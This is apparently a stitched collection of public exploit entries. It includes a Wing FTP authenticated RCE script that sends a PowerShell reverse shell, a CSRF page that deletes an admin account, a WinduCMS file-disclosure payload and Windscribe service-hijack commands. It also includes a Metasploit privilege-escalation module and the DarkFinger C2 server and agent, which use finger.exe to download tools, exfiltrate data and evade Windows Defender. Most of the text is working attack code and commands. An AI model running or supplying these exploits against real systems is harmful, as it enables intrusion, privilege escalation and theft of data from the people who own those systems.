[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: Wing FTP Server
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Wing FTP
Server\WFTPServer.exe service
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Wing FTP Server
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
# Exploit Title: Wing FTP Server - Authenticated RCE
# Date: 02/06/2022
# Exploit Author: notcos
# Credit: Credit goes to the initial discoverer of this exploit, Alex Haynes.
# Vendor Homepage: https://www.wftpserver.com/
# Software Link: https://www.wftpserver.com/download/WingFtpServer.exe
# Version: <=4.3.8
# Tested on: Windows
# !/usr/bin/python3
import requests
import sys
import base64
import urllib.parse
# Get command line arguments
if len(sys.argv) != 7:
print("This exploit will invoke a nishang tcp reverse shell on the target. Start your listener before executing.")
print("Usage: %s <TARGET> <TARGET_PORT> <LOCAL_IP> <LOCAL_PORT> <USER> <PASSWORD>" % sys.argv[0])
print("Example: %s 0.0.0.0 8000 127.0.0.1 9001 notcos coolpass" % sys.argv[0])
exit(1)
else:
target = sys.argv[1]
targetport = sys.argv[2]
localip = sys.argv[3]
localport = sys.argv[4]
user = sys.argv[5]
password = sys.argv[6]
print('''
.--.
/ ,~a`-,
\ \_.-"`
) ( __ __ .__ ____ __________ _________ ___________
,/ ."\ / \ / \|__| ____ / ___\ \______ \\\\_ ___ \ \_ _____/
/ ( | \ \/\/ /| | / \ / /_/ > | _// \ \/ | __)_
/ ) ; \ / | || | \ \___ / | | \\\\ \____ | \\
/ / / \__/\ / |__||___| //_____/ |____|_ / \______ //_______ /
,/_."` /` \/ \/ \/ \/ \/
/_/\ |___
`~~~~~`
''')
# Create the login request
url = 'http://' + target + ':' + targetport + '/admin_loginok.html'
data = ('username=' + user + '&password=' + password + '&username_val=' + user + '&password_val=' + password + '&su'
'bmit_btn=%2bLogin%2b')
headers = {
"User-Agent": "Googlebot"
}
# Send the POST request to log in and save the cookie
r = requests.post(url, headers=headers, data=data)
cookie = 'UIDADMIN=' + r.cookies['UIDADMIN']
print('Login successful - Cookie: ' + cookie)
url = "http://" + target + ":" + targetport + "/admin_lua_script.html"
headers = {
"User-Agent": "Googlebot",
"Cookie": cookie,
}
# Base64 encode a nishang reverse tcp shell one liner and then url encode it
nish = ("$client = New-Object System.Net.Sockets.TCPClient(\"" + localip + "\"," + localport + ");$stream = $client"
".GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$d"
"ata = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1"
" | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCI"
"I).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()")
encodedStr = str(base64.b64encode(nish.encode('UTF-16LE')), "UTF8")
urlpayload = urllib.parse.quote(encodedStr, safe='+')
finalload = "command=os.execute('powershell -Encodedcommand " + urlpayload + "')"
# Send the reverse shell payload
try:
r = requests.post(url, headers=headers, data=finalload, timeout=0.1)
except requests.exceptions.ReadTimeout:
print("The payload has been sent. Check your listener.")
pass
# Exploit Title: Wing FTP Server 6.2.3 - Privilege Escalation
# Date: 2020-03-10
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: https://www.wftpserver.com
# Version: v6.2.6
# Tested on: Windows 10
*Summary:*
An authenticated CSRF exists in web client and web administration of Wing
FTP v6.2.6, a crafted HTML page could delete admin user from the
application where as administration needs to re-install the program and add
admin user again. Issue was patched in v6.2.7.
*Proof of concept:*
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://IP:5466/admin_delete_admin.html" method="POST">
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="r" value="0.9219583354400562" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
*Patch (lua/cgiadmin.lua):*
URL: https://www.wftpserver.com/serverhistory.htm
local outfunc = "echo"
local function out (s, i, f)
s = string.sub(s, i, f or -1)
if s == "" then return s end
s = string.gsub(s, "([\\\n\'])", "\\%1")
s = string.gsub(s, "\r", "\\r")
return string.format(" %s('%s'); ", outfunc, s)
end
local function translate (s)
s = string.gsub(s, "<%%(.-)%%>", "<??lua %1 ??>")
local res = {}
local start = 1
while true do
local ip, fp, target, exp, code = string.find(s, "<%?%?(%w*)[
\t]*(=?)(.-)%?%?>", start)
if not ip then break end
table.insert(res, out(s, start, ip-1))
if target ~= "" and target ~= "lua" then
table.insert(res, out(s, ip, fp))
else
if exp == "=" then
table.insert(res, string.format(" %s(%s);", outfunc, code))
else
table.insert(res, string.format(" %s ", code))
end
end
start = fp + 1
end
table.insert(res, out(s, start))
return table.concat(res)
end
local function compile (src, chunkname)
return loadstring(translate(src),chunkname)
end
function include (filename, env)
if incfiles[filename] == nil then
incfiles[filename] = true;
path = c_GetAppPath()
path = path .. "/webadmin/"..filename
local errstr = string.format("<b>The page '%s' does not
exist!</b>",filename)
local fh,_ = io.open (path)
if not fh then
echo_out = echo_out..errstr
return
end
local src = fh:read("*a")
fh:close()
local prog = compile(src, path)
local _env
if env then
_env = getfenv (prog)
setfenv (prog, env)
end
local status,err = pcall(prog)
if not status then
if type(err) == "string" and not string.find(err,"exit function!") then
print(string.format("some error in %s!",err))
end
return
end
end
end
function var_dump(var)
print("{")
if type(var) == "string" or type(var) == "number" or type(var) == "boolean"
or type(var) == "function" then
print(var)
elseif(type(var) == "thread") then
print("thread")
elseif(type(var) == "userdata") then
print("userdata")
elseif type(var) == "nil" then
print("nil")
elseif type(var) == "table" then
for k,v in pairs(var) do
if type(k) == "string" then k="'"..k.."'" end
if(type(v) == "string") then
print(k.."=>'"..v.."',")
elseif(type(v) == "number" or type(v) == "boolean") then
print(k.."=>"..tostring(v)..",")
elseif(type(v) == "function") then
print(k.."=>function,")
elseif(type(v) == "thread") then
print(k.."=>thread,")
elseif(type(v) == "userdata") then
print(k.."=>userdata,")
elseif(type(v) == "nil") then
print(k.."=>nil,")
elseif(type(v) == "table") then
print(k.."=>table,")
else
print(k.."=>object,")
end
end
else
print("object")
end
print("}")
end
function init_get()
local MatchedReferer = true
if _SESSION_ID ~= nil then
local Referer = string.match(strHead,"[rR]eferer:%s?%s([^\r\n]*)")
if Referer ~= nil and Referer ~= "" then
local Host = string.match(strHead,"[hH]ost:%s?%s([^\r\n]*)")
if Host ~= nil and Host ~= "" then
if string.sub(Referer,8,string.len(Host)+7) == Host or
string.sub(Referer,9,string.len(Host)+8) == Host then
MatchedReferer = true
else
MatchedReferer = false
exit()
end
end
else
MatchedReferer = false
end
end
string.gsub (urlparam, "([^&=]+)=([^&=]*)&?",
function (key, val)
if key == "domain" then
if MatchedReferer == true then
rawset(_GET,key,val)
else
rawset(_GET,key,specialhtml_encode(val))
end
else
if MatchedReferer == true then
rawset(_GET,unescape(key),unescape(val))
else
--rawset(_GET,unescape(key),specialhtml_encode(unescape(val)))
end
end
end
)
end
function init_post()
local MatchedReferer = true
if _SESSION_ID ~= nil then
local Referer = string.match(strHead,"[rR]eferer:%s?%s([^\r\n]*)")
if Referer ~= nil and Referer ~= "" then
local Host = string.match(strHead,"[hH]ost:%s?%s([^\r\n]*)")
if Host ~= nil and Host ~= "" then
if string.sub(Referer,8,string.len(Host)+7) == Host or
string.sub(Referer,9,string.len(Host)+8) == Host then
MatchedReferer = true
else
MatchedReferer = false
exit()
end
end
else
MatchedReferer = false
end
end
if
string.find(strHead,"[cC]ontent%-[tT]ype:%s?multipart/form%-data;%s?boundary=")
then
string.gsub (strContent,
"[cC]ontent%-[dD]isposition:%s?form%-data;%s?name=\"([^\"\r\n]*)\"\r\n\r\n([^\r\n]*)\r\n",
function (key, val)
if key == "domain" then
if MatchedReferer == true then
rawset(_POST,key,val)
else
rawset(_POST,key,specialhtml_encode(val))
end
else
if MatchedReferer == true then
rawset(_POST,unescape(key),unescape(val))
else
--rawset(_POST,unescape(key),specialhtml_encode(unescape(val)))
end
end
end
)
else
string.gsub (strContent, "([^&=\r\n]+)=([^&=\r\n]*)&?",
function (key, val)
if key == "domain" then
if MatchedReferer == true then
rawset(_POST,key,val)
else
rawset(_POST,key,specialhtml_encode(val))
end
else
if MatchedReferer == true then
rawset(_POST,unescape(key),unescape(val))
else
--rawset(_POST,unescape(key),specialhtml_encode(unescape(val)))
end
end
end
)
end
end
function init_session()
if _COOKIE["UIDADMIN"] ~= nil then
_SESSION_ID = _COOKIE["UIDADMIN"]
SessionModule.load(_SESSION_ID)
end
end
function init_cookie()
local cookiestr = string.match(strHead,"[cC]ookie:%s?(%s[^\r\n]*)")
if cookiestr == nil or cookiestr == "" then return end
string.gsub (cookiestr, "([^%s;=]+)=([^;=]*)[;%s]?",
function (key, val)
rawset(_COOKIE,unescape(key),unescape(val))
end
)
end
function setcookie(name,value,expire_secs)
if name == "UIDADMIN" then return end
local expiretime = os.date("!%A, %d-%b-%Y %H:%M:%S GMT",
os.time()+3600*24*365)
_SETCOOKIE = _SETCOOKIE.."Set-Cookie: "..name.."="..value..";
expires="..expiretime.."\r\n"
rawset(_COOKIE,name,value)
end
function getcookie(name)
if name == "UIDADMIN" then return end
return _COOKIE[name]
end
function deletecookie(name)
setcookie(name,"",-10000000)
end
function deleteallcookies()
for name,_ in pairs(_COOKIE) do
deletecookie(name)
end
end
local cookie_metatable =
{
__newindex = function(t,k,v)
setcookie(k,v,360000)
end
}
setmetatable(_COOKIE,cookie_metatable)
session_metatable =
{
__newindex = function(t,k,v)
if type(v) ~= "table" then
if k ~= nil then
k = string.gsub(k,"'","")
k = string.gsub(k,"\"","")
end
if v ~= nil then
--v = string.gsub(v,"%[","")
--v = string.gsub(v,"%]","")
end
rawset(_SESSION,k,v)
SessionModule.save(_SESSION_ID)
end
end
}
--setmetatable(_SESSION,session_metatable)
function init_all()
init_cookie()
init_session()
init_get()
init_post()
end
function setContentType(typestr)
_CONTENTTYPE = typestr
end
function exit()
error("exit function!")
end
#!/usr/bin/python
#
# Exploit Title: WinduCMS <= 3.1 - Local File Disclosure
# Date: 2017-12-03
# Exploit Author: Maciek Krupa
# Vendor Homepage: http://windu.org
# Version: 3.1
# Tested on: Linux Debian 9
#
# // Description //
#
# Local File Disclosure vulnerability exists in WinduCMS through a vulnerable PHPMailer version 5.2.1 used here
#
# // PoC //
#
# It requires a contact form present on the website
#
# Example: {{W name=contactForm inputs="name" email="root@localhost"}}
#
from requests_toolbelt import MultipartEncoder
import requests
print("WinduCMS <= 3.1 Exploit")
url = 'http://localhost/contact_page?mn=contactform.message.negative'
email = 'attacker@example.com'
payload = '<img src="/etc/passwd"'
form_input = 'name'
fields = {'form_key': 'contactForm', form_input: 'Attacker', 'email': email, 'content': payload}
m = MultipartEncoder(fields=fields, boundary='----WebKitFormBoundary1500777958139315')
headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0', 'Content-Type': m.content_type}
print('Sending payload to target...')
r = requests.post(url, data=m.to_string(), headers=headers)
if r.status_code == 200:
print('Exploited.')
# Exploit Title: Windscribe 1.83 - 'WindscribeService' Unquoted Service Path
# Date: 2020-06-26
# Exploit Author: Ethan Seow
# Vendor Homepage: https://windscribe.com
# Version: v1.83 Build 20
# Tested on: Microsoft Windows 10 Home 10.0.18363 Build 18363
#filename : exploit.bat
#Code start
@echo off
sc config WindscribeService binPath="cmd /k {PATH TO REVERSE SHELL e.g.
C:\Users\Public\payload.exe}"
sc stop WindscribeService
sc start WindscribeService
echo Exploit success! SYSTEM reverse shell should be triggered :DDDDD
pause
#Code end
# Exploit Title: Windscribe 1.83 - 'WindscribeService' Unquoted Service Path
# Date: 2020-04-10
# Exploit Author: MgThuraMoeMyint
# Vendor Homepage: https://windscribe.com
# Version: v1.83 Build 20
# Tested on: Windows 10, version 1909
In windscribe v1.83 , there is a service via windscribe that every
authenticated user can modify.
C:\Users\mgthura>sc qc WindscribeService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: WindscribeService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Windscribe\WindscribeService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : WindscribeService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
That shows that running as Local System this means that the
BINARY_PATH_NAME parameter can be modified to execute any command on
the system.
I'll change binary_path_name with a command that add a user to
administrators group , so it will be
C:\Users\mgthura>sc config WindscribeService binPath= "net localgroup
administrators pentest /add"
[SC] ChangeServiceConfig SUCCESS
C:\Users\mgthura>sc stop WindscribeService
SERVICE_NAME: WindscribeService
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x4
WAIT_HINT : 0x0
C:\Users\mgthura>sc start WindscribeService
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
Restarting service will cause the service to fail as the binary path
would not point into the actual executable of the service.
However the command will be executed successfully and the user will be
added to the local administrators group.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Exploit::EXE
include Post::File
include Post::Windows::Priv
include Post::Windows::Services
include Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Windscribe WindscribeService Named Pipe Privilege Escalation',
'Description' => %q{
The Windscribe VPN client application for Windows makes use of a
Windows service `WindscribeService.exe` which exposes a named pipe
`\\.\pipe\WindscribeService` allowing execution of programs with
elevated privileges.
Windscribe versions prior to 1.82 do not validate user-supplied
program names, allowing execution of arbitrary commands as SYSTEM.
This module has been tested successfully on Windscribe versions
1.80 and 1.81 on Windows 7 SP1 (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Emin Ghuliev', # Discovery and exploit
'bcoles' # Metasploit
],
'References' =>
[
['CVE', '2018-11479'],
['URL', 'http://blog.emingh.com/2018/05/windscribe-vpn-privilege-escalation.html'],
['URL', 'https://pastebin.com/eLG3dpYK']
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [['Automatic', {}]],
'DisclosureDate' => '2018-05-24',
'DefaultOptions' =>
{
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
},
'Notes' =>
{
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'DefaultTarget' => 0))
register_advanced_options [
OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)', nil]),
]
end
def base_dir
datastore['WritableDir'].blank? ? session.sys.config.getenv('TEMP') : datastore['WritableDir'].to_s
end
def service_exists?(service)
srv_info = service_info(service)
if srv_info.nil?
vprint_warning 'Unable to enumerate Windows services'
return false
end
if srv_info && srv_info[:display].empty?
return false
end
true
end
def write_named_pipe(pipe, command)
kt = "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00"
kt << [command.force_encoding('UTF-8').codepoints.map { |c| "%04X" % c }.join].pack('H*')
kt << "\x00" * (32_005 - kt.length)
print_status "Sending #{command} to #{pipe} ..."
r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0, nil, 'OPEN_EXISTING', 0, nil)
handle = r['return']
if handle == 0xffffffff # INVALID_HANDLE_VALUE
print_error "Invalid handle. #{pipe} named pipe not found, or already opened"
return false
end
vprint_good("Opended #{pipe}! Proceeding ...")
begin
w = client.railgun.kernel32.WriteFile(handle, kt, kt.length, 4, nil)
if w['return'] == false
return false
end
ensure
session.railgun.kernel32.CloseHandle(handle)
end
true
rescue
false
end
def check
service = 'WindscribeService'
unless service_exists? service
return CheckCode::Safe("Service '#{service}' does not exist")
end
CheckCode::Detected
end
def exploit
unless check == CheckCode::Detected
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
if is_system?
fail_with Failure::BadConfig, 'Session already has SYSTEM privileges'
end
payload_path = "#{base_dir}\\#{Rex::Text.rand_text_alphanumeric(8..10)}.exe"
payload_exe = generate_payload_exe
vprint_status "Writing payload (#{payload.encoded.length} bytes) to #{payload_path} ..."
write_file payload_path, payload_exe
register_file_for_cleanup payload_path
unless write_named_pipe("\\\\.\\pipe\\WindscribeService", payload_path)
fail_with Failure::Unknown, 'Failed to write to pipe'
end
end
end
# Title: Windows TCPIP Finger Command - C2 Channel and Bypassing Security Software
# Author: John Page (aka hyp3rlinx)
# Date: 2020-09-16
# Website: hyp3rlinx.altervista.org
# Source: http://hyp3rlinx.altervista.org/advisories/Windows_TCPIP_Finger_Command_C2_Channel_and_Bypassing_Security_Software.txt
# twitter.com/hyp3rlinx
# ISR: ApparitionSec
Microsoft Windows TCPIP Finger Command "finger.exe" that ships with the OS, can be used as a file downloader and makeshift C2 channel.
Legitimate use of Windows Finger Command is to send Finger Protocol queries to remote Finger daemons to retrieve user information.
However, the finger client can also save the remote server response to disk using the command line redirection operator ">".
Intruders who compromise a computer may find it is locked down and "unknown" applications may be unable to download programs or tools.
By using built-in native Windows programs, its possible they may be whitelisted by installed security programs and allowed to download files.
Redteams and such using LOL methods have made use of "Certutil.exe", native Windows program for downloading files. However, Certutil.exe is
recently blocked by Windows Defender Antivirus and logged as event "Trojan:Win32/Ceprolad.A" when it encounters http/https://.
Therefore, using Windows finger we can bypass current Windows Defender security restrictions to download tools, send commands and exfil data.
The Finger protocol as a C2 channel part works by abusing the "user" token of the FINGER Query protocol "user@host". C2 commands masked as
finger queries can download files and or exfil data without Windows Defender interference.
Download files:
C:\> finger <C2-Command>@HOST > Malwr.txt
Exfil running processes:
C:\> for /f "tokens=1" %i in ('tasklist') do finger %i@192.168.1.21
Typically, (Port 79) default port used by FINGER protocol is often blocked by organizations. Privileged users can bypass this using
Windows NetSh Portproxy. This can allow us to bypass Firewall restrictions to reach servers using unrestricted ports like 80/443.
Portproxy queries are then sent first to the Local Machines ip-address which are then forwarded to the C2 server specified.
Port 43 (WHOIS) traffic.
netsh interface portproxy add v4tov4 listenaddress=[LOCAL-IP] listenport=79 connectaddress=[C2-Server] connectport=43
netsh interface portproxy add v4tov4 listenaddress=[LOCAL-IP] listenport=43 connectaddress=[LOCAL-IP] connectport=79
To display Portproxy use "C:\>netsh interface portproxy show all".
E.g. using Port 79
Ncat64.exe "nc@C2-Server" > tmp.txt
E.g. using Portproxy, send the query to local-ip first.
Ncat64.exe "nc@Local-IP" > tmp.txt
To leverage Windows finger.exe successfully as a file downloader and help evade network security devices, serve Base64 encoded text-files.
DarkFinger.py expects to receive the first two characters of the filename for the Finger Protocol Host token part for file downloads.
DarkFinger C2 expects exfil data to prefixed with the dot "." character, so any arbitrary inbound querys are not confused for exfil.
This can be changed to whatever or even expanded upon to use XOR obfuscation methods etc... as this is just for basic PoC.
[Event Logs / Forensics]
Certutil.exe file downloads are now blocked and logged by Windows Defender.
"Windows Defender Antivirus has taken action to protect this machine from malware or other potentially unwanted software.
Name: Trojan:Win32/Ceprolad.A
ID: 2147726914
Severity: Severe
Category: Trojan
... etc"
PowerShell, also used as an LOL method to download files usually generates Windows event logs. Finger initiated downloads write
to disk and will leave forensic artifacts. Finger TCP/IP traffic going out to Port 80/443 minus the HTTP protocol may stand out as well.
However, searching the Windows event logs for finger.exe entries, I found no trace of it generating Windows event logs anywhere.
DarkFinger.py C2 is very basic with no security. It's only to demonstrate using Windows Finger Command for as a C2 channel
and show the possibilities. Therefore, anyone can request to change the Port DarkFinger C2 listens on and or download files.
During my research, I found nothing on the internet publicly using or documenting Windows TCPIP Finger Command for use as C2 channel.
Therefore, I release "DarkFinger.py" C2 server and "DarkFinger-Agent.bat" which calls the Windows finger.exe in attacker friendly ways.
Tested successfully Windows 10.
[DarkFinger-C2.py]
import socket,sys,re,time,os,argparse
from subprocess import *
from subprocess import Popen, PIPE, STDOUT
#DarkFinger / Windows Finger TCPIP Command C2 Server (c)
#Downloader and Covert Data Tunneler
#By John Page (aka hyp3rlinx)
#ApparitionSec
#twitter.com/hyp3rlinx
#
#File Downloads must be Base64 encoded text-files.
#Agents can change the port DarkFinger listens on dynamically:
#E.g. set to listen on port 80
#C:\>finger.exe !80!@DarkFinger-Server
#When not using Port 79, we need a Portproxy to send Port 79 traffic outbound to the specified Port.
#Also, when using Ports other than Port 79 (default) we issue queries first to the machine running the Agent E.g.
#C:\>finger.exe <Command>@<Local-Machines-IP>
#
#Agents can change the Download wait time, to try an ensure files are fully downloaded before closing connections.
#Default time sent by the DF-Agent.bat PoC script is set to 10 seconds when issuing Download commands.
#Changing wait time before closing the socket when downloading PsExec64.exe E.g.
#C:\>finger.exe ps%<Wait-Time-Secs>%@%<DarkFinger-Server>%
#==============================================================================================================
#
port = 79 #Default if the client unable to Portproxy, use port 80/443 if possible.
downloads_dir = "Darkfinger_Downloads" #Directory containing the Base64 encoded files for download
nc64 = downloads_dir+"\\nc.txt" #Base64 encoded Netcat
psexec = downloads_dir+"\\ps.txt" #Base64 encoded PsExec64
byte_sz = 4096 #Socket recv
allowed_ports = [22,43,53,79,80,443] #Restrict to a few.
BANNER="""
____ __ _______
/ __ \____ ______/ /__/ ____(_)___ ____ ____ _____
/ / / / __ `/ ___/ //_/ /_ / / __ \/ __ `/ _ \/ ___/
/ /_/ / /_/ / / / ,< / __/ / / / / / /_/ / __/ /
/_____/\__,_/_/ /_/|_/_/ /_/_/ /_/\__, /\___/_/
/____/ v1
Finger TCPIP Command C2 Server
By hyp3rlinx
ApparitionSec
"""
def remove_cert_info(f):
try:
r1 = open(f)
lines = r1.readlines()
lines = lines[1:]
r1.close()
w1 = open(f,'w')
w1.writelines(lines)
w1.close()
r2 = open(f)
lines2 = r2.readlines()
lines2 = lines2[:-1]
r2.close()
w2 = open(f,'w')
w2.writelines(lines2)
w2.close()
except Exception as e:
print(str(e))
exit()
def create_base64_files(file_conf):
global downloads_dir
if os.path.exists(file_conf):
if os.stat(file_conf).st_size == 0:
print("[!] Warn: Supplied conf file is empty, no downloads were specified!")
exit()
else:
print("[!] Supplied conf file does not exist :(")
exit()
try:
path=os.getcwd()
if not os.path.exists(path+"\\"+downloads_dir):
os.makedirs(downloads_dir)
f=open(file_conf, "r")
for x in f:
x = x.strip()
if os.path.exists(path+"\\"+x):
proc = Popen(["certutil.exe", "-encode", path+"\\"+x, path+"\\"+downloads_dir+"\\"+x[:2].lower()+".txt"],
stdout=PIPE, stderr=PIPE, shell=False)
out, err = proc.communicate()
if "ERROR_FILE_EXISTS" in str(out):
print("[!] Cannot encode " + x[:2]+".txt" + " as it already exists, delete it (-d flag) and try again :(")
exit()
time.sleep(0.5)
#Remove certificate info generated by Windows Certutil.
if os.path.exists(path+"\\"+downloads_dir+"\\"+x[:2].lower()+".txt"):
remove_cert_info(path+"\\"+downloads_dir+"\\"+x[:2].lower()+".txt")
print("[+] Created " + x + " Base64 encoded text-file "+x[:2].lower()+".txt" +" for download.")
else:
print("[!] Warn: File specified in the conf file to Base64 encode ("+x+") does not exist!")
exit()
f.close()
except Exception as e:
print(str(e))
def delete_base64_files():
global downloads_dir
path=os.getcwd()
if os.path.exists(path+"\\"+downloads_dir):
try:
filelist = [ f for f in os.listdir(path+"\\"+downloads_dir) if f.endswith(".txt") ]
for f in filelist:
os.remove(os.path.join(path+"\\"+downloads_dir, f))
except Exception as e:
print(str(e))
exit()
def B64Exec(t):
payload=""
try:
f=open(t, "r")
for x in f:
payload += x
f.close()
except Exception as e:
pass
print(str(e))
return 9
return payload
def finga_that_box(cmd, victim):
cmd = cmd.rstrip()
if cmd[:1] != ".":
cmd = cmd[0:2]
if cmd == "nc":
print("[+] Serving Nc64.exe")
sys.stdout.flush()
return nc64
if cmd == "ps":
print("[+] Serving PsExec64.exe")
sys.stdout.flush()
return psexec
if cmd[:1] == ".":
print("[+] Exfil from: "+ victim[0] + " " +cmd[1:])
sys.stdout.flush()
return False
def fileppe_fingaz():
global byte_sz, port, allowed_ports
delay=1
s = socket.socket()
host = ""
try:
if port in allowed_ports:
s.bind((host, port))
s.listen(5)
else:
print("[!] Port disallowed, you can add it to the 'allowed_ports' list.")
exit()
except Exception as e:
print(str(e))
exit()
print("[/] Listening port:", str(port))
sys.stdout.flush()
try:
while True:
conn, addr = s.accept()
a = conn.recv(byte_sz).decode() #Py 2
#Let agent change port dynamically
try:
if a[:1]=="!":
idx = a.rfind("!")
if idx != -1:
port = str(a[1:idx])
if int(port) in allowed_ports:
port = int(port)
time.sleep(1)
conn.close()
s.close()
fileppe_fingaz()
else:
print("[!] Disallowed port change request from: %s" % addr[0])
#Let agent set time to wait dynamically.
if a[:1] != "." and a[:1] != "!":
if re.search(r'\d\d', a[2:4]):
delay=int(a[2:4])
print("[-] Agent set the delay to: %d" % delay)
sys.stdout.flush()
except Exception as e:
print(str(e))
pass
t = finga_that_box(a, addr)
if t:
exe = B64Exec(t)
if exe == 9:
conn.close()
continue
if exe:
try:
conn.sendall(exe.encode())
time.sleep(delay)
conn.close()
delay=1
except Exception as e:
pass
#print(str(e))
sys.stdout.flush()
conn.close()
delay=1
s.close()
except Exception as e:
print(str(e))
pass
finally:
s.close()
fileppe_fingaz()
def about():
print("[+] Darkfinger is a basic C2 server that processes Windows TCPIP Finger Commands.")
print(" ")
print("[+] File download requests require the first two chars (lowercase) for the file we want,")
print("[+] plus the wait time, this trys to ensure a full transmit before close the connection.")
print("[+] Download Ncat64.exe and wait 30-secs before closing the socket:")
print("[+] finger.exe nc30@DarkFinger > tmp.txt")
print(" ")
print("[+] Exfil Windows Tasklist using the '.' character used as the DarkFinger exfil flag:")
print("[+] cmd /c for /f \"tokens=1\" %i in ('tasklist') do finger .%i@DarkFinger-Server")
print("[+]")
print("[+] If Port 79 is blocked, use Windows Netsh Portproxy to reach allowed internet Ports.")
print("[+] Dynamically change the port Darkfinger C2 listens on to port 80:")
print("[+] finger.exe !80!@DarkFinger-Server")
print(" ")
print("[+] DarkFinger-Agent.bat script is the client side component to demonstrate capabilities.")
print("[+] Note: This is just a basic PoC with no type of real security whatsoever.")
print("[+] Disclaimer: Author not responsible for any misuse and or damages by using this software.")
def main(args):
global port
print(BANNER)
if len(sys.argv)==1:
parser.print_help(sys.stderr)
sys.exit(1)
if args.about:
about()
exit()
if args.port:
port = int(args.port)
if args.conf and args.delete:
delete_base64_files()
if args.conf:
create_base64_files(args.conf)
else:
print("[!] Warn: No Base64 files created for download!, add required -c flag.")
exit()
fileppe_fingaz()
def parse_args():
parser.add_argument("-p", "--port", help="C2 Server Port", nargs="?")
parser.add_argument("-c", "--conf", help="Textfile of tools to Base64 encode for download.", nargs="?")
parser.add_argument("-d", "--delete", nargs="?", const="1", help="Delete previously created Base64 encoded files on startup, -c required.")
parser.add_argument("-a", "--about", nargs="?", const="1", help="Darkfinger information")
return parser.parse_args()
if __name__ == "__main__":
parser = argparse.ArgumentParser()
main(parse_args())
[DarkFinger-Agent.bat]
@ECHO OFF
CLS
ECHO [+] Windows TCPIP Finger CMD Agent (c)
ECHO [+] For DarkFinger C2 Server PoC
ECHO [+] By hyp3rlinx
ECHO [+] ApparitionSec
ECHO ===================================
@ECHO.
REM Default download save location.
CD \Users\%username%\Desktop
REM Default download delay time to try an ensure full transfer.
SET DELAY=10
SET FAIL_MSG=[!] Attempted a failed Admin operation ugh :(
net session >nul 2>&1
IF %errorLevel% == 0 (
ECHO [+] Got Admin privileges!.
SET /a Admin = 0
GOTO Init
) ELSE (
ECHO [!] Agent running as non-admin, if you can escalate privs re-run the agent!.
SET /a Admin = 1
SET DARK_PORT=79
GOTO CheckOutbound79
)
:Init
for /f "tokens=1-2 delims=:" %%a in ('ipconfig^|find "IPv4"') do IF NOT DEFINED LOCAL_IP set LOCAL_IP=%%b
